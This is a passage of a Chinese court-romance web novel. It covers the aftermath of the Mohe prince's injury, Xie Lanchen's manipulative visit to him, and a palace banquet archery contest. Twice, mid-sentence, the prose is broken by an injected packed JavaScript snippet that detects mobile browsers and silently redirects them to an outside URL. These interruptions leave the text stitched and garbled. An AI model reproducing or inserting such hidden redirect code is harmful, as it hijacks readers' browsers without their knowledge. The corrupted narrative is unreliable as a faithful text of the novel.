但因为谢兰臣最后以脚挑刀的时候,人站在在角落里,恰好有及地的帘幔做遮掩,加之他的动作幅度又极小,月奴根本没有察觉。在她看来,完全是那把刀在被哲术丢到地上以后,自己弹了起来,才击中哲术手肘的。 说到底,是哲术自己倒霉,自作孽,不可活。 于是在听到巡卫的问询时,不等谢兰臣作答,月奴便先一步替他答道:“我们姐妹们本来在楼里待的好好的,王子突然就提着刀闯了进来,疯了一般冲着嘉王喊打喊杀,但我可以作证,嘉王全程都没有还手,只是躲闪,是王子捡刀的时候自己不小心,恰好摔在了金刚杵上。” 另外还有几个胆大的伶人,也留在楼里没离开,闻言纷纷附和道:“确实如此,我们也都可以为嘉王作证。” 问话的巡卫却依然紧拧者眉头,看看金刚杵,又看看谢兰臣,再次问道:“可是这里为什么会有金刚杵?佛门的法器为什么会出现在青楼里?” 月奴还要再替谢兰臣回答,这次却被谢兰臣制止,他自行答道:“金刚杵是我带来的,王子闯进来的时候,我正在楼里为众人讲经,便在大厅四角各放了一把金刚杵,以镇邪除妄。” 巡卫下意识掏了掏耳朵,怀疑自己是不是听错了:“你方才是说,你花了这么多的金子,闹出这么大的阵仗,只是为了来青楼里给这些妓子们讲经?” “不然呢?”谢兰臣无辜道,“我便是要寻欢作乐,也用不着这么多的姑娘吧?不过是我白日里从护国寺回来,突然心有所感,略行传法布施罢了。” 16. 魏婧 京都府的主要职责之一,便是维护京畿之地的治安。 鉴于前有靺鞨王子屡屡酒后滋事,同样打西北边儿来、并且同样位高权重的谢兰臣刚一进京,就成了京都府的重点留意对象,生怕他会步靺鞨王子的后尘。 京都府的人见他头两天安安分分,才刚放下心来,转眼便听说了他把全城妓子都包下的消息。 这么多人聚在一处,恐有不妥,京都府专门调了一队巡卫在群芳楼附近巡查,这也是为什么出事后,他们能这么快赶来的原因。 可没想到还是晚了一步。 领头的巡卫对谢兰臣在青楼讲经一事半信半疑,便又质疑道:“讲经应该是庄重之事,可方才我们巡逻经过此处,却听到了阵阵调笑声。” 谢兰臣道:“经文玄奥,这些青楼里的姑娘大多是贫苦人家出身,都没怎么读过书,未免她们觉得晦涩难懂,自然寓教于乐才好。况且我也不是正经法师,说是讲经,不过是和大家分享我往日的礼佛心得,并非正式的法会,无需太过庄重。” 月奴等人再次作证道:“嘉王给我们讲了几个有关佛法的小故事,既有道理又十分有趣,所以我们才会发笑。” 虽然在青楼讲经着实让人不可思议,但解释得倒也合理,再加上有月奴等众人作证,足以证明谢兰臣的清白。 若是一般的案子,巡卫这时候就该放人离开了,但伤者是靺鞨王子,巡卫不敢擅作主张,便谨慎道:“依照流程,还要麻烦嘉王和诸位姑娘随我回京都府一趟,等待府尹大人裁夺。” 谢兰臣十分配合:“可以。” 巡卫有些意外他竟然会这么好说话,之前他们也遇到过不少需要配合办案的达官显贵,却个个都是趾高气昂的样子,要他们往东,他们必定往西,仿佛听他们这些巡卫的话就低人一等了似的。 领队不由对谢兰臣生出些许好感,再看谢兰臣时,觉得他品性这般温和,确实像是会度化青楼妓子的样子。 他不禁又多嘴宽慰了谢兰臣一句:“此事证人证言都很明朗,去京都府只是走个过场,府尹大人不会为难王爷的。” 而此刻刚被人从被窝里叫醒的孙府尹,听说靺鞨王子和嘉王打了起来,一方还受了重伤,当即惊得连腰带都来不及系好,便匆忙驾车往京都府赶。 一边还忍不住在心里抱怨,京都府尹真不是人干的差事,连晚上睡个好觉都难。昨天晚上也是这个时候,他刚睡下便被人叫醒,只为让他派人去找国舅家里丢了的一只猫。总之各种大事小事糟心事不断。 皇城脚下到处都是自己惹不起的人,往常遇到公侯子弟斗殴,孙府尹和稀泥也就过去了,可这次一方受了重伤,稀泥是和不成了,必然得得罪一个。 之前这种要得罪人的事,还有爱较真的徐少尹帮自己挡一挡,如今徐少尹不在,只能他自己硬着头皮上。 孙府尹哀叹一声,催促驾车的人再快点。 事情和巡卫安慰谢兰臣的差不多,等孙府尹赶到京都府,由于人证众多,所有证人的口供又都很一致,并无疑点,孙府尹只能认定是靺鞨王子饮酒过多,以致先冲动伤人,后酒意上头,身体不停使唤,又自己撞上了金刚杵。 谢兰臣完全是遭遇无妄之灾,不用负任何责任。 哲术在大夫治疗后,已经神志清醒,尽管他一直坚称是谢兰臣害的他,但鉴于他和谢兰臣曾有私仇,孙府尹并未采信他的话。 事后,孙府尹要亲自送谢兰臣离开,谢兰臣却道:“我可以先去看看王子吗?他受伤虽不是我导致的,但多少和我有些干系,我想去探望一下。” 为了方便问口供,巡卫把大夫和哲术也都带来了京都府,这会儿还不曾离开。 孙府尹没理由拒绝,便把人领去了京都府后院的一间厢房前,但转头就又悄悄调来一批守卫,命他们守在门口,随时留意屋内的动静,以免两人再起争斗。 谢闵作为嘉王府长史,在得知谢兰臣被巡卫带走后,立刻便赶来京都府。谢兰臣被问讯的时候,他一直守在外头,此时便跟上谢兰臣,一起进了厢房。 房间内,哲术正脸色苍白地躺在床上,看着虚弱,但尚算有精神,想来伤势虽重,却于性命无碍。 床边还守着几个靺鞨的护卫,一见着谢兰臣,立刻齐齐抽出腰间的佩刀,神色戒备地挡在谢兰臣面前。 哲术更是目眦欲裂,不顾身下钻心的疼痛,硬是挣扎着半坐起身:“你竟然还敢来见我!” 他正要吩咐护卫动手,谢兰臣提醒他先看看窗外:“你确定要在这里对我动手?” 哲术顺着他的视线,看到了外头黑压压一片的守卫,自己的几个手下根本不是对手。他不由咬牙道:“你给我等着!” 谢兰臣无所谓地挑挑眉,说道:“我是来帮你的。” 哲术冷笑:“帮我?你会有这么好心?” 谢兰臣丝毫不受他的冷脸影响,继续说道:“靺鞨首领的继任方式一直是兄终弟及,也就是兄长死了,便由他下面年纪最长的弟弟继位,这弟弟死了,再由活着的更年幼的弟弟继位,直到叔父辈分的人全都死绝,才轮得到子侄辈中年纪最长的那个。但自从你父亲自立为王后,便想效仿大安和契丹,改兄终弟及为父死子继。 “原本你是你父王属意的继位人选,只可惜,”谢兰臣瞟了眼哲术的下半身,“你父王想把王位传给你,为的是父死子继,可你如今已经不能再有子嗣,还哪里来的‘子继’?总不能王位传到你那儿就断了。” 谢兰臣瞟的那一眼如有实质,哲术像一只被踩了尾巴的狼,立刻激动反驳道:“谁说我不能再有子嗣?大夫说我只是现在不好,养养就能痊愈了!” 金刚杵是谢兰臣亲自挑选的,能不能痊愈他自然最清楚,谢兰臣道:“你便是能堵住为你看病的大夫的嘴,今晚群芳楼的姑娘们、还有那些巡卫,你能保证堵住他们所有人的嘴吗?等你父王得到消息,很快就会召你回去,另换一个儿子来与大安和亲的。” 谢兰臣所说,正是哲术最担心的事。 父王确实有意把王位传给他,这次来大安和亲,便是想借大安的势,以便他将来能打败叔叔,顺利继位。 可大安不会把公主嫁给一个不能人道的丈夫,尤其是作为先帝遗孤的崇宁公主。 父王如果知道了自己的伤势,一定会换他弟弟来和亲。这也意味着,父王要放弃自己了…… 一想到这一切都是谢兰臣害的自己,哲术看向谢兰臣的目光便越发怨毒:“你来就是为了嘲笑我吗?” 边上的谢闵瞧见哲术的神情,十分怀疑他会不会突然扑上来,直接撕咬谢兰臣,不由上前一步,挡在了谢兰臣的斜前方。 谢兰臣道:“我说了我是来帮你的。” 他在哲术的瞪视下,依然不慌不忙道:“你受伤的事,在神京是瞒不住的,但消息传回靺鞨尚需要时间,你那十几个美婢和你厮混了这么久,总有一两个人有孕的,你从中挑选一个,请求皇上为你赐婚,反正靺鞨想要的只是大安的助力和嫁妆,你到底娶的是个真公主还是一个舞姬并不重要,皇上总归会给她一个体面的身份,让你们风光完婚的。 “届时即便靺鞨得知了你受伤的消息,你也可以解释说自己已经养好了,便是仍会有闲言碎语,等你的孩子出生,流言也会渐渐平息。” 大安皇帝不会在乎一个舞姬的丈夫到底能不能人道,而一个自小便被人来回转卖,靠卖笑乞生的舞姬,比起自己的丈夫中不中用这种事,大概更在意自己后半辈子能否衣食无忧,对方大概也是乐意做未来的靺鞨王妃的。 至于万一一个婢女也没有有孕的——哲术如果不想被人嗤笑,就一定会想尽办法,绝不会让这种情况发生。 如此,也算是大安与靺鞨和亲,又勉强保住了哲术的颜面。 哲术顺着谢兰臣的话沉思半晌,不得不承认,这确实是个好主意。 可他并不信任谢兰臣,便再次质问道:“你怎么会好心帮我?” 谢兰臣坦承道:“我当然不会好心帮你,我只是想同崇宁公主复婚,顺手帮帮你罢了。” 此刻,哲术才终于恍然明白过来,自己今晚上的这场灾祸到底是因何而起。 “原来是为了崇宁公主!”哲术讽刺地笑出声,想到自己一开始打算求娶崇宁公主,打的便是要借机羞辱谢兰臣的目的,可现在,被羞辱的那个人反成了他自己。 虽然心中怒火中烧,但哲术对谢兰臣的主意倒更信任了几分。 他慢慢冷静下来,多番权衡后,终是说道:“既然嘉王对崇宁公主旧情难忘,我自然要成人之美。” 得到了想要的答案,谢兰臣便不再多留,转身欲走时,恰好对上哲术恨不能把自己啖肉饮血又不得不克制隐忍的目光,谢兰臣眸中忽然闪过一抹兴味。 他停住脚,重新转过身道:“其实我骗了王子,我之所会帮你,想和崇宁公主复婚只是其一,更因为你不但是你父王最喜欢的长子,外祖一家在部落里也很有威望,是最有能力与你叔叔抗衡的。甚至都不用等你父王归西,你和你叔叔必生内乱,你争我夺几年,不必旁人出手,靺鞨自己便会衰微下去。 “况且你冲动易怒,你叔叔沉稳有谋,多亏有你一直压着他不得出头,才让西北军少了许多伤亡,这也是我两箭都射不中你心窝的原因。 “只要你还活着,还是你父王属意的继位人选,靺鞨就永远成不了气候。所以,其实还有一个更好的办法,既能解你眼下的心头之恨,更有益于靺鞨,便是你先给你外祖留封书信,劝他归顺你叔叔,随后自我了断,对外留言说是受我迫害。 “你一死,你其他的弟弟比你更不成器,便是有大安支持,远水救不了近火,也折腾不出什么,最后仍会是你叔叔继位,靺鞨内乱便可止息。你又死在大安,顺便还能讹大安一笔,金银这些自不必多说,若有能人从中斡旋,逼大安把我这个间接害死你的人扣留在神京,也不是不可能。虽然暂时杀不了我,但我也绝不会好过。” “不过这并不重要,最重要的是你为靺鞨而死,虽死犹荣。王子觉得如何?” 谢兰臣语出惊人,一大篇话说完,整间屋子都诡异地安静了下来,久久无人出声。 偏偏谢兰臣又问哲术:“王子愿意一死吗?” 哲术像是才回过神,怒声道:“把我害成这样还不够,你竟然还想花言巧语骗我自戕!我岂会如你的意!” 然而,连他自己都不曾察觉,自己面上十二分的愤怒,早已变成了惊疑和惶恐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“确实遇到了件事,是大好事。”张公公脸上一改离府时的愤慨之色,这会儿连声音里都是藏不住的笑意,“靺鞨王子受了重伤,他和公主的婚事铁定不成了。” 他压低声音向魏姝说明了事情的来龙去脉。 魏姝听完,脸上也浮起笑意。 她并没有多想靺鞨王子受伤到底是真意外还是假意外,她只要知道自己没有看错谢兰臣就够了。 若她真能同谢兰臣复婚,之后自然是要离京,同谢兰臣一起回西北生活的。这一去可谓背井离乡,魏姝不免心有忧虑,但如果谢兰臣是个真好人,她和昭儿在西北的生活便会顺遂不少。 魏姝忽然又想起自己让张公公送的礼,便又问道:“既然嘉王不是去嫖妓,那些人参你没再送吧?”当时她让人送参是为置气,这时候再送就有些不合时宜了。 张公公闻言却垂下头,面露愧色道:“老奴当时听信传言,以为嘉王是和靺鞨王子争抢妓子,才被抓进京都府的,所以甫一见面,老奴就先把人参送了,说是公主送给他补身体的……事后才知道是误会了嘉王。” 魏姝虽然不在现场,但听张公公的描述,已经开始感觉尴尬了:“那他收了吗?” 张公公点点头,头却垂得更低了一些:“嘉王不但收了人参,还有几句话要老奴转达公主,他说,他的身体仍和成亲时候一样强健,并不需要进补,但如果公主觉得他需要补的话,他……他今后也不是不可以再多努力一些。” 张公公一个老太监,转达这些话时仍有些不好意思,谁能想到嘉王说这些话的时候,表情是要多正经有多正经呢。 魏姝尴尬得脸都红了,直到在床上歇下,人还没从尴尬里缓过神,以至于夜间做梦,竟然梦到自己和谢兰臣成亲当晚的事。 由于她不满意这桩婚事,进入洞房后,不等新郎来念却扇诗,便直接使性子,丢掉了婚礼上用来遮面的团扇。 谢兰臣过了一会儿才进来,身上带着淡淡的酒气,一身红衣如霞,醉玉颓山。 魏姝第一眼看清他的面容,下意识就捡回了自己丢在一旁的扇子,重新挡住了脸。 谢兰臣轻笑了一下,随后便像什么也没看到一般,做诗却扇……引导她一步步做完新婚夫妻间该有的仪式。 可轮到就寝时,魏姝的梦境开始急转直下,梦里的她侧坐在床边,正扭扭捏捏犹犹豫豫要不要解扣子时,一旁的谢兰臣突然拦住她说:“公主稍等,我的人参还没有吃。” 魏姝顿时一个激灵,从梦里惊醒过来。 * 此时皇宫中,平宁公主魏婧也突然从梦中惊醒,大口地喘着粗气。 守夜的宫女听到动静,急忙上前询问:“公主怎么了?” 魏婧怔愣了好一会儿才缓过神,喃喃道:“我做了噩梦,梦见……” 话说到一半,她突然清醒过来,及时把将出口的话给咽了回去。 可能是因为晚膳时候,母后同自己说了嘉王的事,她方才做梦,竟然梦见自己真嫁给了嘉王,然而不到两年,自己就死在了嘉王府…… 魏婧不安地按住自己胸口,仿佛现在还能感受到梦里的自己在临死前的不甘和痛苦,一幕幕梦境历历在目,简直逼真如亲身经历的一般。 17. 宫宴 魏婧被噩梦惊醒后,便再无睡意,一直睁眼到了天亮。 晨起梳妆时,她的眼睛有些肿,大宫女谨心见状,立刻让人去煮了冬瓜荷叶茶,又亲自取来一个玉石滚轮,在魏婧眼眶周围来回按摩消肿。 谨心说道:“方才皇后娘娘派人过来说,公主今天不必过去请安了,要公主今天打扮得漂亮些,好在宫宴上惊艳众人。” 魏婧闭着眼,心不在焉地嗯了一声。 今日巳时时分,嘉王会在前朝的奉天殿受册封礼,午时,宫中举行宫宴,为嘉王庆贺。后宫诸人不能前去奉天殿观礼,却可以参加之后的庆祝宫宴。 魏婧自然知道母后让自己精心打扮的用意,是想借今天的这场宫宴,向父皇提及自己和嘉王的婚事。她昨晚也同意了。 只是此刻,魏婧却心绪一片烦乱,脑海里颠来倒去都是昨晚的噩梦场景,明知梦都是假的,可心里却总有一个声音告诉她,这就是未来会发生的事…… 魏婧突然睁开眼道:“先为我梳头吧,我还是要去母后那儿一趟。” 因为午时的宫宴后宫妃嫔也要出席,郭皇后便免了她们所有人的问安,让她们好生准备。于是,今早便只有魏婧一人来给郭皇后请安。 “还是你最孝顺。”郭皇后拉魏婧在自己身边坐下,又冷哼了一声道,“论起温柔贤淑,孝顺体贴,你哪里比不过崇宁,可恨有些人偏不识好歹!” “崇宁姐姐姿容无双,单是这点就不是我能比的。”魏婧听出郭皇后话里有话,想到自己昨晚做的梦,谦虚过一句,便又试探地问道,“可是发生了什么事,才叫母后如此感慨?” 魏婧不提还好,一提起这茬,郭皇后就气得头疼:“昨晚靺鞨王子与嘉王发生争执,靺鞨王子意外受了重伤,伤的不是什么好地方,和崇宁和亲的事怕是不成了。” 宫门晚间下钥,非军机要情不得擅闯,因而郭皇后直到今早才得知此事。 前头郭皇后还当谢兰臣去群芳楼,是为羞辱魏姝,此刻才知自己错了个彻底,到了这时候,她要是还看不出来嘉王也想和魏姝复婚,那就真是个傻子了。 想到自己折腾这么久,全都是白忙活,叫她怎能不气? 魏婧在旁却脸白了白。 果然是靺鞨王子受伤不能人道的事,和自己在梦里梦到的一模一样! 魏婧本就莫名笃信,自己昨晚梦到的是未来会发生的事,眼下恰好印证了一件,更是确信无疑了。 想到自己会惨死在两年后,她死死掐住自己的掌心,许久才出声道:“若是嘉王和崇宁姐姐真彼此有意,咱们何不成人之美?” “说什么胡话呢!”郭皇后想也不想地拒绝道,“别的不说,单你父皇就不会同意。先皇驾崩时,只有你父皇陪驾在侧,崇宁又对先皇的死一直耿耿于怀,她和咱们不是一条心的。你父皇本就忌惮西北,岂会让她再嫁过去搅风搅雨?” 郭皇后方才在兀自生气,这会儿才发现魏婧神色不对,只当她是因为嘉王不喜欢她,觉得委屈了,便又拍拍她的手,安慰道:“夫妻之间,多是日久生情的,母后知道你心里委屈,你且放心,待你出嫁的时候,母后必定多为你准备几成嫁妆,当做补偿。” 魏婧勉强笑笑。 梦里,嘉王和堂姐确实没能成功复婚,但却不是因为父皇的阻拦,而是因为堂姐猝死在了今日的宫宴上。 之后,嘉王为了能带走昭儿抚养,才答应同自己成亲。 要说魏婧嫁给谢兰臣不觉得委屈,那是假的,但在今天之前,魏婧也并没有太过排斥这桩婚事,毕竟谢兰臣的权势地位样貌性情都十分卓越,她也不吃亏。 更何况,嫁给谢兰臣,还能稳固大安,能帮她一母同胞的皇兄赢得更多支持。 然而,按照梦里的发展,事实却与愿违,自己嫁去西北不但什么忙都没帮到,反而还丢了自己的性命。 既然老天爷给了自己一份奇特的机缘,魏婧不想再重蹈覆辙了,她可以有更好的选择…… 心思电转间,魏婧似是想开了,说道:“婚姻本就是父母之命,儿臣不委屈的。”她又撒娇似的贴近郭皇后道,问道:“母后身上好香,用的是什么熏香?” 郭皇后听她如此懂事,心中也很熨帖,笑着回答她的话说:“这是先前还在裕王府的时候,我偶然得到的一种香,卖香的人说是海外贩来的,他也不知道叫什么名字,可惜只有巴掌大的这么一小盒,平日里我都舍不得用,也就碰上今天这样的日子,才拿出来熏一熏衣裳。” “母后今天的这身衣裳也很好看。”魏婧顺着她的话,又夸起来她的衣服,手指轻轻拂过她衣服上的花纹,却突然停在郭皇后手肘的地方,哎呀一声道,“这里的绣花怎么勾丝了?” 郭皇后偏头看去,果然见手肘处绣着的牡丹花花瓣上,有几根绣线被勾了起来,虽然不怎么明显,但等会儿的宫宴上,不但有后宫诸人,还有外臣出席,是丁点儿差错也不能有的。 郭皇后当即不悦地皱起了眉,衣服是她才换上的,也就和平宁说了几句话的功夫,不可能是她弄坏的,应是早起衣服拿来的时候就是坏的。 一旁伺候的冉嬷嬷立刻请罪道:“都怪奴婢不小心,清早检查衣服的时候竟然没发现差错。” 说着,她又拽了一把站在自己身后的琢玉:“还不跪下!我记得娘娘这件衣裳是你保存的,还不快说是怎么回事?” 琢玉被冉嬷嬷拽跪在地上的时候,人还有些懵:“这件衣服确实是奴婢保存的,但是奴婢每次取放的时候都十分小心,这次把衣服交给嬷嬷的时候,也当面检查过,确定衣服没有差错的。” “你还敢狡辩?”冉嬷嬷呵斥她,“在永乐宫的时候,你也是这么和主子说话的吗!” 琢玉很想说,崇宁公主每月都会裁制几十套衣裳,很少有衣服会穿两次以上的,便是偶尔有底下的人因为保存不当,把她喜欢的衣服弄坏了,公主也从不计较。 可是琢玉不敢。 郭皇后最信任器重冉嬷嬷,冉嬷嬷摆明了要她背这口锅,她只能咬着牙承认道:“或许是奴婢不小心弄坏的,但奴婢不是有心的。” 郭皇后在宫人们面前,也一向春风和气,此刻即便心里不高兴,还是忍耐着说道:“念你初犯,这次就算了,下次可要仔细些。” 琢玉顿时磕头谢恩:“多谢娘娘开恩,奴婢会谨记娘娘教诲的。” “还不下去?”冉嬷嬷没好气地挥退琢玉,又转向郭皇后,犹豫道,“这时候再换别的衣裳,怕是来不及熏娘娘喜欢的那种香了。” 要想香气浸染到衣服里,能保留一整天,需要提前一晚上,把衣服绷在香炉上熏,这时候再熏,已然来不及了。 魏婧适时提议道:“来不及熏香,挂个香包就是了,这两天园子里的香橼花刚好开了,不如就摘几朵香橼花放进去。上次父皇还夸香橼花好闻,说香气馥郁又不失清新呢。” 郭皇后闻言点点头:“就听平宁的,下去准备吧。” * 崇宁公主府。 魏姝也换了新衣裳,准备去参加宫宴。 她正要询问织云车马的事,忽听见下人禀告说:“门口来了个和尚,说是护国寺的,来给小郡王送安魂符。” 魏姝昨天去护国寺进香,顺便给昭儿求道安魂符,寺里的主持听说后,见魏姝心诚,捐了大笔的香油钱,便要亲自再为安魂符诵经加持,这才晚了一天送来。 进宫的时间还来得及,魏姝便道:“让人进来吧。” 很快,一个面貌三十来岁,长得高高瘦瘦的和尚,畏畏缩缩地走了进来。 魏姝第一眼觉得对方有些面善,只当是昨日在护国寺的时候遇到过,并没多想,直到去接对方递过来的安魂符时,神色顿时冷了下来。 安魂符被装在一个锦囊里,而捧着锦囊的那只手,由于抬高的缘故,僧衣垂落,露出一截布满疤痕的手腕,一个个大小不一的疤痕铺满手腕内侧,像是火星渐上去留下的。 这疤痕魏姝可再熟悉不过了:“原来是你!” “公主……” 对方见魏姝认出自己,正要出口解释什么,魏姝却根本不给他机会,扬声对守在外头的护卫喊道:“来人!这个和尚冒犯了我,把他给我捆起来,堵上嘴和耳朵,再蒙上眼,给我吊到房梁上去,没有我的允许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058049|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不许任何人靠近他!” 说完,魏姝觉得这些仍不解气,又抄起桌上的一个茶盏,把对方砸了个头破血流。 织云等一众伺候的人,头一次见魏姝发这么大火,虽不明所以,也不敢吭声,只默默照办。 魏姝深吸了口气,又道:“备车,我现在就要进宫。”否则,她怕自己会忍不住直接打杀了对方。 被捆下去的和尚不是别人,正是之前一直侍奉在父皇身边的道长李闲云,也是那个掐算出郭皇后克了自己的人,更是皇叔口中,害他父皇猝死行宫,致使自己都没来得及见父皇最后一面的凶手。 当时,父皇去行宫狩猎,李闲云和皇叔一起伴驾,据皇叔所说,父皇是因为服用了李闲云炼制的丹药,中了丹毒才会猝死。事发后,李闲云趁乱逃走,之后皇叔虽下发了海捕文书,可李闲云就像是凭空消失了一般,无影无踪,一直没能抓到。 谁能想到,李闲云一个道士,竟然会剃了头发,藏在护国寺当起了和尚?他的相貌虽然做了伪装,但细看变化并不算大,真正变化巨大的是他的气质。 先前他总是一副仙风道骨世外高人的模样,如今畏畏缩缩,便是如魏姝这般熟悉他的,也没能一眼认出来。 魏姝也派人找过李闲云,同样一无所获,她甚至还怀疑过,李闲云是不是被她皇叔灭口了。 魏姝之所以如此怀疑,是因为李闲云是个还算有分寸的道士,从不仗着父皇的宠爱结党营私,排除异己,他只要钱。 平常除了陪父皇谈经论道,李闲云偶尔也会炼些丹药,但进献给父皇的丹药,都是他自己先服用过,确认无毒后才进献的,父皇收到丹药,身边也会有人先试药,确认无虞后父皇才会服用。 在这种情况下,父皇怎么可能会因为丹毒而死? 可皇叔为了证明清白,并不阻拦魏姝找仵作来查验,魏姝和宗室找过不同的仵作,都确认父皇没有中毒,身上也无外伤…… 想到这些往事,魏姝的眼睛忍不住慢慢濡湿起来,她并不在意父皇死后,由谁继承皇位,她只是想知道,父皇到底是怎么死的。 仅此而已。 许久,魏姝缓缓吐出一口浊气,又交代人去一趟护国寺,说明他们的和尚冒犯自己被自己扣下的事,顺便查问一下对方在寺里的底细。 李闲云之前藏的好好的,不可能无缘无故突然找上自己。 魏姝又看了眼天色,她还要去参加宫宴,只能等回来再弄清楚这些了。 * 等魏姝到达宫宴时,宴席上已经坐满了大半的人。 宫宴上男女分席而坐,魏姝与后宫妃嫔以及公主们坐在一处,但她的坐席却是这些人里最靠前的,紧挨着上首的帝后席位。 皇上和皇后自然要最后出场,此刻帝后的席位还是空的,今天刚刚正式受封的嘉王也还没有到场。 魏姝心里还在想着李闲云的事,入座后,便谁也没搭理。 不远处的其他妃嫔公主们,有不想和她搭话的,也有想和她说话,但是见她神色不好,不敢上前来打扰的,魏姝倒也落得清净。 少顷,今天宫宴的主角嘉王,终于姗姗来迟。 谢兰臣本就生得俊美风流,今日蟒袍加身,紫金冠束发,显得人愈加有神采,芝兰玉树,龙章凤姿。 席上众人纷纷朝他望去,目光流连。 而被众人观望的谢兰臣,却在问身后的谢闵:“我今天这身衣服不好看吗?” 谢闵有些疑惑他为什么会这么问,回道:“这可是宫里绣娘的手艺,当然好看,您瞧那边的公主们都在偷偷看……” 话说到一半,谢闵目光落在那些公主们的最前头,终于明白谢兰臣为何会有此问了——坐最前头的崇宁公主,连头都没抬,正垂着眼不知在想什么。 谢兰臣啧了一声道:“有些人昨天还喜欢你喜欢得肝肠寸断,转眼就对你爱答不理,难怪人们常说,得到了便不再珍惜。” 谢闵:“……”谁得到了谁? 他忍不住提醒谢兰臣:“您还没和崇宁公主复婚呢,您都还没向皇上提复婚的事,而且,我觉得皇上也不会那么容易答应的。” 18. 彩头 魏姝一直想着心事,直到元和帝和郭皇后到场,席上众人纷纷起身行礼时,她才从思绪中回过神。 魏姝随众人一起行礼,起身时,发现谢兰臣的坐席就在自己斜对面,人也早到了。 她顿时有些懊恼自己先前走神,今天这么重要的日子,作为“深爱”谢兰臣的自己,就算不能第一时间表示祝贺,也不应该连对方入场都没察觉的。 “今日设宴,是为庆贺嘉王晋封,诸位不必太过拘礼,陪嘉王尽兴便是。”元和帝示意开宴,众人谢恩,又齐齐道了句“恭贺嘉王”,这才重新落座。 魏姝坐下后,第一时间摆出笑容,亡羊补牢地打算和对面的嘉王先打个招呼,以免他怀疑自己的“真心”,然而魏姝的视线却被人挡住了。 有一人突然出席,径直走到了谢兰臣面前,说道:“微臣禁军指挥使洪廷,闻听谢家以武传家,族中子弟皆弓马娴熟,便斗胆想与嘉王切磋一番,好让我等瞻仰一番谢家子弟的风采。” 魏姝认得对方。 禁军中多是些绣花枕头一样的贵族子弟,但洪廷能胜任指挥使一职,却还是有些真才实学的。 洪廷祖上同样武将出身,武功不弱,尤擅弓射,素有“小养由基”之称。 养由基乃春秋时期的神箭手,相传可以射中百步外的杨柳树叶,洪廷虽然不能射中柳树叶,但是射中百步外的箭靶却不在话下。 魏姝瞥了眼上首皇叔的神情,见对方脸上并无意外之色,猜到洪廷此举应是皇叔授意,大约是要借切磋之名,威慑一番谢兰臣。 自从老靖西侯过世,谢兰臣掌管西北军后,也打过不少胜仗,但因为西北军本就剽悍,有人夸谢兰臣有乃父之风,也有人说他不过是沾了西北军的光罢了。 魏姝不禁有些担忧,既是皇叔授意,这场比试自是躲不过的,万一谢兰臣在自己的册封宴上输了比试,算是件屈辱的事了。 然而对面的谢兰臣,却神色自若地问洪廷:“洪指挥使想切磋什么?” 洪廷道:“这里有公主和娘娘们在,也不好打打杀杀的,不如我们就比射箭如何?” “可以。”谢兰臣答应得很干脆,又转向元和帝道,“单单只是比箭,到底缺了几分意思,臣也斗胆,想向皇上讨一份想要的彩头……” 不等谢兰臣说完,上首的元和帝和郭皇后齐齐皱眉,同时猜到了他想要的彩头是什么,无非是要讨崇宁公主,要皇上同意他们复婚。 洪廷察言观色,立刻打断谢兰臣道:“尚未比试,嘉王就要起彩头来了,嘉王确定自己一定能赢吗?” 谢兰臣好脾气道:“也对,万一最后是洪指挥使赢了,我想要的彩头你也未必中意,那就先不提彩头,待最后谁赢得了比试,再求皇上赏赐吧。” 元和帝自然不能小气到连份彩头都不愿意出,加之他也相信洪廷的箭法,便应允道:“可。” 宫宴在集英殿举行,殿内的院子很宽敞,比试确定下来,皇上便直接让人在院子里摆上箭靶,令谢兰臣和洪廷就在正对殿门的地方比试。如此,众人在殿内也能瞧得见。 原定两人比试射百步外的箭靶,谢兰臣却道:“方才我隐隐听见有人唤洪指挥使‘小养由基’,既然如此,咱们何不效仿前人,也射柳叶?恰好这院子里就有几颗柳树。” 洪廷私下练习时,百步外的箭靶,他能保证百发百中,但杨柳叶由于叶子细小,风吹既动,他能射中的次数并不多。 此刻听谢兰臣如此提议,又见他一副成竹在胸的样子,洪廷便有些犹豫,不大敢答应。 但转瞬又想到,谢兰臣之前两次都不能射中靺鞨王子心窝,足见箭术也只是一般,此刻突然提要射杨柳叶,怕不是心知比不过自己,便故意增加难度,好让两人都射不中,便显得他没那么丢人罢了。 自己如果被他吓住,眼下就输了,而且,之前练习的时候,自己也不是没射中过…… 于是洪廷点头同意,改让人在百步外的柳树上,选中两片叶子,涂成红色以做标记,便是他和谢兰臣的靶子了。 又有宫人取来弓箭,洪廷和谢兰臣每人三支箭,比试三轮,谁先射中柳叶谁胜。 第一轮比试时,恰好有风吹来,柳枝随风摆动,两片红色的柳叶也随之乱晃,洪廷几次都无法瞄准,后背都急出了一身的冷汗。 谢兰臣则悠闲地等在一旁,并没有搭箭,十分有风度地等他先射。 殿内坐着的魏姝本来还有些紧张,见谢兰臣这般淡定,倒也跟着放松下来,拿起面前小几上的酒壶,自斟自饮了一杯,一抬头,又看见冉嬷嬷突然端着一盘螃蟹走了过来。 “皇后娘娘知道公主爱吃蟹黄,便特意把自己的那份留给了公主。这时候的螃蟹虽不算肥美,但也能尝个鲜。”冉嬷嬷边说边跪在魏姝身侧,亲自替魏姝拆好螃蟹,最后只取了中间的一勺蟹黄,放进了魏姝碗里。 魏姝看了眼面前的蟹黄,却丁点儿没动。 她实在是腻味透了郭皇后的这种行径,明明厌恶自己,却又时刻不忘表现对自己有多疼爱,像是自己平日里连只螃蟹都吃不起似的。 魏姝对冉嬷嬷道:“替我谢过皇婶吧。” 冉嬷嬷笑应下,离开时,还特意把魏姝桌上拆过的蟹壳和蟹肉给收拾下去,真真是再体贴不过了。 